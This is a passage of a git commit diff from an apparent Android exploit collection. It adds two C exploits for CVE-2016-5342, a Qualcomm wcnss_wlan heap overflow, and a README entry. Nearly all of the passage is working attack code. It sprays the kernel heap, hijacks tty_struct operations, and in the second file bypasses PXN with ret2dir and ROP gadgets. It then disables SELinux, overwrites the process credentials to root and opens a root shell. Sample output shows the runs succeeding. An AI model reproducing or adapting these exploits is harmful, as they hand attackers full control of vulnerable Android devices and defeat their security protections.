kernel_write( cred + magic + i*4, 0x0 );
|
||||
}
|
||||
else if ( i == 8 ) {
|
||||
continue;
|
||||
}
|
||||
else {
|
||||
kernel_write( cred + magic + i*4, 0xFFFFFFFF );
|
||||
}
|
||||
}
|
||||
|
||||
if ( getuid() == 0 ) {
|
||||
printf( "[+] Root Success\n" );
|
||||
execl( "/system/bin/sh", "/system/bin/sh", NULL );
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf( "[+] Failed \n" );
|
||||
|
||||
return 0;
|
||||
}
|
||||
224
qualcomm/CVE-2016-5342/exploit_tty.c
Normal file
224
qualcomm/CVE-2016-5342/exploit_tty.c
Normal file
@@ -0,0 +1,224 @@
|
||||
/*
|
||||
* Author: freener.gdx@gmail.com
|
||||
* Date : 2016.7
|
||||
*
|
||||
* root@bacon:/data/local/tmp # ./exploit_tty
|
||||
* [+] Exploit Start...
|
||||
* [+] Current UID : 0
|
||||
* [+] Spreay Kmalloc-1024 Slub
|
||||
* [+] Release a object in kmalloc-1024 slub
|
||||
* [+] OverFlow the buffer
|
||||
* [+] Try to get the control
|
||||
* [+] exploit success
|
||||
* root@bacon:/data/local/tmp #
|
||||
*/
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <termios.h>
|
||||
#include <linux/termios.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define PHYS_OFFSET 0xC0000000
|
||||
//#define PAGE_SIZE 0x1000
|
||||
|
||||
#define TTY_MAGIC 0x5401
|
||||
|
||||
#define ONEOFF_ALLOCS 100
|
||||
#define UNLUCKLY_ONE ONEOFF_ALLOCS-5
|
||||
|
||||
#define COMMIT_CREDS_ADDR (0xc01ee21c)
|
||||
#define PREPARE_KERNEL_CREDS_ADDR (0xc01eea00)
|
||||
#define PRINTK (0xc0d50ce4)
|
||||
#define SELINUX_ENFORCING (0xC16A7070)
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
typedef int __attribute__((regparm(3))) (* _printk)(const char *fmt, ...);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
_printk printk;
|
||||
|
||||
struct file {
|
||||
void *ops;
|
||||
};
|
||||
|
||||
int __attribute__((regparm(3))) payload_ioctl( struct file* f, unsigned int a, unsigned long b)
|
||||
{
|
||||
printk( "Come here with ioctl\n" );
|
||||
unsigned int *selinux_enforcing = (unsigned int*)SELINUX_ENFORCING;
|
||||
printk( "[+] SELINUX_ENFORCING = %d\n", *selinux_enforcing );
|
||||
*selinux_enforcing = 0;
|
||||
printk( "[+] SELINUX_ENFORCING = %d\n", *selinux_enforcing );
|
||||
commit_creds( prepare_kernel_cred(0) );
|
||||
printk( "[+] Shellcode Down\n" );
|
||||
return -1;
|
||||
}
|
||||
|
||||
struct device;
|
||||
struct tty_driver;
|
||||
struct tty_operations;
|
||||
|
||||
typedef struct {
|
||||
int counter;
|
||||
} atomic_t;
|
||||
|
||||
struct kref {
|
||||
atomic_t refcount;
|
||||
};
|
||||
|
||||
struct tty_struct_header {
|
||||
int magic;
|
||||
struct kref kref;
|
||||
struct device *dev;
|
||||
struct tty_driver *driver;
|
||||
const struct tty_operations *ops;
|
||||
} overwrite;
|
||||
|
||||
|
||||
int openpty(int* master, int* slave, char* name ) {
|
||||
*master = getpt();
|
||||
if (*master == -1) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (grantpt(*master) == -1 || unlockpt(*master) == -1) {
|
||||
close(*master);
|
||||
return -1;
|
||||
}
|
||||
|
||||
char buf[32];
|
||||
if (name == NULL) {
|
||||
name = buf;
|
||||
}
|
||||
if (ptsname_r(*master, name, sizeof(buf)) != 0) {
|
||||
close(*master);
|
||||
return -1;
|
||||
}
|
||||
|
||||
*slave = open(name, O_RDWR|O_NOCTTY);
|
||||
if (*slave == -1) {
|
||||
close(*master);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
unsigned long get_symbol(char *target_name) {
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char name[256];
|
||||
int ret = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", name);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!strcmp(name, target_name)) {
|
||||
printf("[+] Resolved %s: %p\n", target_name, (void *)addr);
|
||||
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
printf("[-] Couldn't resolve \"%s\"\n", name);
|
||||
|
||||
fclose(f);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int main() {
|
||||
char scratch[1024] = {0};
|
||||
void *tty_operations[64];
|
||||
int i, temp_fd_1, temp_fd_2;
|
||||
int ptm_fds[ONEOFF_ALLOCS];
|
||||
int pts_fds[ONEOFF_ALLOCS];
|
||||
|
||||
for (i = 0; i < 64; ++i)
|
||||
tty_operations[i] = (void *)payload_ioctl;
|
||||
|
||||
printf( "[+] Exploit Start...\n" );
|
||||
printf( "[+] Current UID : %d\n", getuid() );
|
||||
/*
|
||||
puts("[+] Resolving symbols");
|
||||
|
||||
commit_creds = (commit_creds_fn)get_symbol("commit_creds");
|
||||
prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
|
||||
if (!commit_creds || !prepare_kernel_cred) {
|
||||
printf( "[-] Can not resolve symbols\n" );
|
||||
return 1;
|
||||
}
|
||||
*/
|
||||
|
||||
commit_creds = (_commit_creds)COMMIT_CREDS_ADDR;
|
||||
prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR;
|
||||
printk = (_printk)PRINTK;
|
||||
|
||||
printf( "[+] Spreay Kmalloc-1024 Slub\n" );
|
||||
for (i = 0; i < ONEOFF_ALLOCS; ++i) {
|
||||
if (openpty(&ptm_fds[i], &pts_fds[i], NULL) == -1) {
|
||||
puts("[-] pty creation failed");
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int fd_wlan;
|
||||
fd_wlan = open( "/dev/wcnss_wlan", O_RDWR | O_NOCTTY );
|
||||
if ( fd_wlan < 0 ) {
|
||||
printf( "[-] Can not open /dev/wcnss_wlan\n" );
|
||||
return -1;
|
||||
}
|
||||
|
||||
char *buffer1 = NULL;
|
||||
int message1_len = 1024 - 4 + 28 ;
|
||||
buffer1 = (char *)malloc( message1_len + 4 );
|
||||
if ( buffer1 == NULL ) {
|
||||
printf("[-] Failed to create message\n" );
|
||||
return -1;
|
||||
}
|
||||
memset( buffer1, 0, message1_len+4 );
|
||||
|
||||
int length = 1024;
|
||||
*(unsigned int *)buffer1 = length;
|
||||
*(unsigned int *)(buffer1 + length ) = TTY_MAGIC;
|
||||
*(unsigned int *)(buffer1 + length + 4) = 0xDEADBEEF;
|
||||
*(unsigned int *)(buffer1 + length + 8) = (unsigned int)scratch;
|
||||
*(unsigned int *)(buffer1 + length + 12) = (unsigned int)scratch;
|
||||
*(unsigned int *)(buffer1 + length + 16) = (unsigned int)tty_operations;
|
||||
|
||||
int count = 0;
|
||||
|
||||
printf( "[+] Release a object in kmalloc-1024 slub\n" );
|
||||
close( ptm_fds[UNLUCKLY_ONE] );
|
||||
close( pts_fds[UNLUCKLY_ONE] );
|
||||
|
||||
printf( "[+] OverFlow the buffer\n" );
|
||||
count = write( fd_wlan, buffer1, message1_len + 4 );
|
||||
|
||||
printf( "[+] Try to get the control\n" );
|
||||
//ioctl( ptm_fds[UNLUCKLY_ONE] + 1 , 0xdeadbddf );
|
||||
ioctl( pts_fds[UNLUCKLY_ONE +1], 0xdeadbeef );
|
||||
|
||||
if ( getuid() == 0 ) {
|
||||
printf( "[+] exploit success\n" );
|
||||
execl( "/system/bin/sh", "/system/bin/sh", NULL );
|
||||
}
|
||||
|
||||
printf( "[-] ROOT Faild !!!\n" );
|
||||
}
|
||||
293
qualcomm/CVE-2016-5342/exploit_tty_bypass_pxn.c
Normal file
293
qualcomm/CVE-2016-5342/exploit_tty_bypass_pxn.c
Normal file
@@ -0,0 +1,293 @@
|
||||
/*
|
||||
* Author: freener.gdx@gmail.com
|
||||
* Date : 2016.7
|
||||
* root@bacon:/data/local/tmp # ./exploit_tty_bypass_pxn
|
||||
* [+] Exploit Test Begain
|
||||
* [+] Spray Kmalloc-1024 Slab
|
||||
* [+] Ret2dir Spray ...
|
||||
* [+] Modify Operation from 0 to c04dbe88
|
||||
* [+] Release one object in slab
|
||||
* [+] Bang!!! Overflow!!!
|
||||
* [+] Try to get the control
|
||||
* [+] OverWrite Success ptm
|
||||
* [+] SELINUX = 1
|
||||
* [+] CRED address : e702df80
|
||||
* [+] Change to ROP_WRITE
|
||||
* [+] Modify Operation from c04dbe88 to c0760fe4
|
||||
* [+] Close Selinux
|
||||
* [+] Modify CRED
|
||||
* [+] Root Success
|
||||
* root@bacon:/data/local/tmp #
|
||||
*/
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/prctl.h>
|
||||
|
||||
#define PHYS_OFFSET 0xC0000000
|
||||
|
||||
#define TTY_MAGIC 0x5401
|
||||
|
||||
#define ONEOFF_ALLOCS ( 8 * 20 + 7 )
|
||||
#define UNLUCKLY_ONE ( ONEOFF_ALLOCS - 2 )
|
||||
|
||||
#define SELINUX_ENFORCING (0xC16A7070)
|
||||
|
||||
#define INIT_TASK_ADDRESS (0xC14F6040)
|
||||
#define COMM_OFFSET ( 0xC14F635C - INIT_TASK_ADDRESS )
|
||||
#define TASK_OFFSET ( 0xC14F6218 - INIT_TASK_ADDRESS )
|
||||
#define PID_OFFSET ( 0x0 )
|
||||
#define CRED_OFFSET ( COMM_OFFSET - 8 )
|
||||
|
||||
int effect_fd = 0;
|
||||
char *mmap_base = NULL;
|
||||
/**
|
||||
*
|
||||
* ROP_READ
|
||||
* C04DBE88 LDR R0, [R2]
|
||||
* C04DBE8C BX LR
|
||||
*/
|
||||
#define ROP_READ ( 0xC04DBE88 )
|
||||
unsigned int kernel_read( unsigned int dummy, unsigned int address )
|
||||
{
|
||||
unsigned int value;
|
||||
value = ioctl( effect_fd, dummy, address );
|
||||
return value;
|
||||
}
|
||||
|
||||
/**
|
||||
* ROP_WRITE GATGAD
|
||||
* C0760FE4 STR R2, [R1]
|
||||
* C0760FE8 BX LR
|
||||
*/
|
||||
#define ROP_WRITE ( 0xC0760FE4 )
|
||||
void kernel_write( unsigned int address, unsigned int value )
|
||||
{
|
||||
ioctl( effect_fd, address, value );
|
||||
}
|
||||
|
||||
void ready_operation( unsigned int operation )
|
||||
{
|
||||
if ( operation != ROP_READ && operation != ROP_WRITE ) {
|
||||
printf( "[-] Invalid Operation\n" );
|
||||
return;
|
||||
}
|
||||
|
||||
printf( "[+] Modify Operation from %x to ", *(unsigned int*)mmap_base );
|
||||
int i, z;
|
||||
for ( i=0; i< 256 * 800 * 4; i++ ) {
|
||||
for ( z=0; z<64; z++ )
|
||||
*(unsigned int *)(mmap_base + i * 1024 + z * 4) = operation;
|
||||
}
|
||||
printf( "%x\n", *(unsigned int *)mmap_base );
|
||||
}
|
||||
|
||||
int openpty(int* master, int* slave, char* name ) {
|
||||
*master = getpt();
|
||||
if (*master == -1) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (grantpt(*master) == -1 || unlockpt(*master) == -1) {
|
||||
close(*master);
|
||||
return -1;
|
||||
}
|
||||
|
||||
char buf[32];
|
||||
if (name == NULL) {
|
||||
name = buf;
|
||||
}
|
||||
if (ptsname_r(*master, name, sizeof(buf)) != 0) {
|
||||
close(*master);
|
||||
return -1;
|
||||
}
|
||||
|
||||
*slave = open(name, O_RDWR|O_NOCTTY);
|
||||
if (*slave == -1) {
|
||||
close(*master);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
char *name = "freener_pwn0";
|
||||
int main() {
|
||||
|
||||
pid_t self;
|
||||
self = getpid();
|
||||
|
||||
prctl( PR_SET_NAME, (unsigned long)name, 0, 0, 0 );
|
||||
printf( "[+] Exploit Test Begain\n" );
|
||||
|
||||
printf( "[+] Spray Kmalloc-1024 Slab\n" );
|
||||
int i;
|
||||
int ptm_fds[ONEOFF_ALLOCS];
|
||||
int pts_fds[ONEOFF_ALLOCS];
|
||||
for (i = 0; i < ONEOFF_ALLOCS; ++i) {
|
||||
if (openpty(&ptm_fds[i], &pts_fds[i], NULL) == -1) {
|
||||
puts("[-] pty creation failed");
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
int fd_wlan;
|
||||
fd_wlan = open( "/dev/wcnss_wlan", O_RDWR | O_NOCTTY );
|
||||
if ( fd_wlan < 0 ) {
|
||||
printf( "[-] Can not open /dev/wcnss_wlan\n" );
|
||||
return -1;
|
||||
}
|
||||
|
||||
char *buffer1 = NULL;
|
||||
int message1_len = 1024 + 28 ;
|
||||
buffer1 = (char *)malloc( message1_len );
|
||||
if ( buffer1 == NULL ) {
|
||||
printf("[-] Failed to create message\n" );
|
||||
return -1;
|
||||
}
|
||||
memset( buffer1, 0, message1_len );
|
||||
|
||||
unsigned int kernelAddress;
|
||||
kernelAddress = PHYS_OFFSET + 760 * 1024 * 1024 - PAGE_SIZE;
|
||||
int length = 1024;
|
||||
*(unsigned int *)buffer1 = length;
|
||||
*(unsigned int *)(buffer1 + length ) = TTY_MAGIC;
|
||||
*(unsigned int *)(buffer1 + length + 4) = 0xDEADBEEF;
|
||||
*(unsigned int *)(buffer1 + length + 8) = kernelAddress;
|
||||
*(unsigned int *)(buffer1 + length + 12) = kernelAddress;
|
||||
*(unsigned int *)(buffer1 + length + 16) = kernelAddress;
|
||||
*(unsigned int *)(buffer1 + length + 1024 ) = TTY_MAGIC;
|
||||
*(unsigned int *)(buffer1 + length + 1024 + 4) = 0x1337;
|
||||
*(unsigned int *)(buffer1 + length + 1024 + 8) = kernelAddress;
|
||||
*(unsigned int *)(buffer1 + length + 1024 + 12) = kernelAddress;
|
||||
*(unsigned int *)(buffer1 + length + 1024 + 16) = kernelAddress;
|
||||
|
||||
printf( "[+] Ret2dir Spray ...\n" );
|
||||
int j;
|
||||
|
||||
length = (size_t)PAGE_SIZE * 256 * 800;
|
||||
mmap_base = mmap( NULL, length, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0 );
|
||||
if ( mmap_base == MAP_FAILED ) {
|
||||
printf( "[-] MMAP Failed\n" );
|
||||
perror( "[-]" );
|
||||
return -1;
|
||||
}
|
||||
ready_operation( ROP_READ );
|
||||
|
||||
printf( "[+] Release one object in slab\n" );
|
||||
close( ptm_fds[UNLUCKLY_ONE] );
|
||||
close( pts_fds[UNLUCKLY_ONE] );
|
||||
|
||||
printf( "[+] Bang!!! Overflow!!!\n" );
|
||||
int count = 0;
|
||||
count = write( fd_wlan, buffer1, message1_len + 4 );
|
||||
|
||||
printf( "[+] Try to get the control\n" );
|
||||
|
||||
unsigned int value;
|
||||
if ( (value = ioctl( ptm_fds[UNLUCKLY_ONE+1], 0xdeadbeef, kernelAddress + 50*4 )) == ROP_READ ) {
|
||||
printf( "[+] OverWrite Success ptm\n" );
|
||||
effect_fd = ptm_fds[UNLUCKLY_ONE + 1];
|
||||
}
|
||||
else if ( (value=ioctl( pts_fds[UNLUCKLY_ONE+1], 0xdeadbeef, kernelAddress + 50*4)) == ROP_READ ){
|
||||
printf( "[+] OverWrite Success pts\n" );
|
||||
effect_fd = pts_fds[UNLUCKLY_ONE + 1];
|
||||
}
|
||||
|
||||
if ( effect_fd == 0 ) {
|
||||
printf( "[+] OverWrite Failed\n" );
|
||||
return -1;
|
||||
}
|
||||
|
||||
unsigned int selinux;
|
||||
selinux = kernel_read( 0xBBBBBBBB, SELINUX_ENFORCING ); //ioctl( effect_fd, 0xBBBBBBBB, SELINUX_ENFORCING );
|
||||
printf( "[+] SELINUX = %d\n", selinux );
|
||||
|
||||
/**
|
||||
* Find MySelf
|
||||
*/
|
||||
unsigned int task = 0;
|
||||
task = kernel_read( 0x10000001, (INIT_TASK_ADDRESS + TASK_OFFSET) );
|
||||
unsigned int cred = 0;
|
||||
unsigned int magic = 0;
|
||||
unsigned int magic1 = 0;
|
||||
unsigned int comm_address = 0;
|
||||
char comm_name[17] = { 0 };
|
||||
unsigned int comm_part_one = 0, comm_part_two = 0, comm_part_three = 0;
|
||||
do {
|
||||
//printf( "[+] TASK Address : %x\n", task );
|
||||
|
||||
comm_address = task - TASK_OFFSET + COMM_OFFSET;
|
||||
//printf( "[+] Comm Address : %x\n", comm_address );
|
||||
comm_part_one = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET );
|
||||
comm_part_two = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET + 4 );
|
||||
comm_part_three = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET +8 );
|
||||
(*(unsigned int *)comm_name) = comm_part_one;
|
||||
(*(unsigned int *)(comm_name+4)) = comm_part_two;
|
||||
(*(unsigned int *)(comm_name+8)) = comm_part_three;
|
||||
|
||||
//printf( "[+] Command line : %s\n", comm_name );
|
||||
|
||||
if ( comm_part_one == 0x65657266 &&
|
||||
comm_part_two == 0x5F72656E &&
|
||||
comm_part_three == 0x306E7770 ) {
|
||||
cred = kernel_read( 0x30000003, task - TASK_OFFSET + CRED_OFFSET );
|
||||
printf( "[+] CRED address : %x\n", cred );
|
||||
magic = kernel_read( 0x40000004, cred + 12 );
|
||||
break;
|
||||
}
|
||||
task = kernel_read( 0x20000002, task - TASK_OFFSET + TASK_OFFSET );
|
||||
} while ( task != (INIT_TASK_ADDRESS + TASK_OFFSET) );
|
||||
|
||||
|
||||
if ( task == INIT_TASK_ADDRESS ) {
|
||||
printf( "[-] Do not find myself\n" );
|
||||
}
|
||||
if ( cred == 0 ) {
|
||||
printf( "[-] Do not get CRED address\n" );
|
||||
return -1;
|
||||
}
|
||||
|
||||
if ( magic != 0x43736564 || magic != 0x44656144 ) {
|
||||
magic = 4;
|
||||
}
|
||||
else {
|
||||
magic = 16;
|
||||
}
|
||||
|
||||
printf( "[+] Change to ROP_WRITE\n" );
|
||||
ready_operation( ROP_WRITE );
|
||||
|
||||
printf( "[+] Close Selinux\n" );
|
||||
kernel_write( SELINUX_ENFORCING, 0x0 );
|
||||
|
||||
printf( "[+] Modify CRED\n" );
|
||||
|
||||
for ( i=0; i<17; i++ ) {
|
||||
if ( i < 8 ) {
|
||||
kernel_write( cred + magic + i*4, 0x0 );
|
||||
}
|
||||
else if ( i == 8 ) {
|
||||
continue;
|
||||
}
|
||||
else {
|
||||
kernel_write( cred + magic + i*4, 0xFFFFFFFF );
|
||||
}
|
||||
}
|
||||
|
||||
if ( getuid() == 0 ) {
|
||||
printf( "[+] Root Success\n" );
|
||||
execl( "/system/bin/sh", "/system/bin/sh", NULL );
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf( "[+] Failed \n" );
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -11,6 +11,7 @@ Android 漏洞利用代码集合,**均未测试**
|
||||
### 高通 - Qualcomm
|
||||
|
||||
* [CVE-2016-2431 - The Qualcomm TrustZone component in Android before 2016-05-01 on Nexus 5, Nexus 6, Nexus 7 (2013), and Android One devices allows attackers to gain privileges via a crafted application, aka internal bug 24968809](qualcomm/CVE-2016-2431)
|
||||
* [CVE-2016-5342 - Heap-based buffer overflow in the wcnss_wlan_write function](qualcomm/CVE-2016-5342)
|
||||
|
||||
### 华为 - Huawei
|
||||
|
||||
|
||||
Reference in New Issue
Block a user